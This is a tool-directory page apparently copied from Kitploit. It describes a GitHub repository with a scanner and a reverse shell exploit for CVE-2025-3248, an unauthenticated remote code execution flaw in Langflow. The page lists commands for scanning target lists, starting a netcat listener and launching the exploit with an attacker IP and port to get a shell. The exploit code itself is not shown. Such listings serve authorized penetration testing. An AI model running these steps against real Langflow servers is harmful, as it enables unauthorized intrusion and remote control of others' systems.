Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3248 — Scanner and exploit for CVE-2025-3248, an unauthenticated RCE in Langflow AI. Includes a vulnerability checker and a reverse shell payload generator for authorized security testing. | Kitploit
Tools/GitHubGitHub/r0otk3r/cve-2025-3248
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubr0otk3r/cve-2025-3248

CVE-2025-3248

Scanner and exploit for CVE-2025-3248, an unauthenticated RCE in Langflow AI. Includes a vulnerability checker and a reverse shell payload generator for authorized security testing.

131 year agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-3248: Langflow Unauthenticated Remote Code Execution (RCE)

This repository contains two Python scripts:

  • LangflowCheck.py: A scanner that checks for Langflow AI instances vulnerable to CVE-2025-3248.
  • exploit.py: A working reverse shell exploit for vulnerable Langflow targets.

Summary

CVE-2025-3248 is a critical vulnerability in Langflow AI that allows unauthenticated attackers to execute arbitrary Python code remotely via a crafted payload to /api/v1/validate/code.


Files

LangflowCheck.py

  • Checks if a target is vulnerable by attempting to execute a harmless payload that reads /etc/passwd.
  • Can scan a single target or a list of URLs.
  • Supports outputting vulnerable targets to a file.
  • exploit.py

    • Sends a reverse shell payload to the vulnerable endpoint.
    • Requires attacker IP (lhost) and listener port (lport).
    • Logs activity to exploit.log.
    • Supports listener check before sending payload.

    Usage

    1. Install Requirements

    root@kitploit:~
    pip install -r requirements.txt
    

    2. Run Vulnerability Scanner

    Single URL

    root@kitploit:~
    python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt
    

    1

    Multiple Targets

    root@kitploit:~
    python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt
    

    tt

    3. Exploit a Target

    First, start a listener

    root@kitploit:~
    sudo nc -nvlp 4444
    

    l

    Then, run the exploit:

    root@kitploit:~
    python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444
    

    2

    You should receive a shell if the target is vulnerable. root

    ⚠️ Disclaimer

    This exploit is for educational and authorized security testing only. Do not use against systems you do not own or have explicit permission to test.


    Official Channels

    • YouTube @rootctf
    • X @r0otk3r
    Download Tool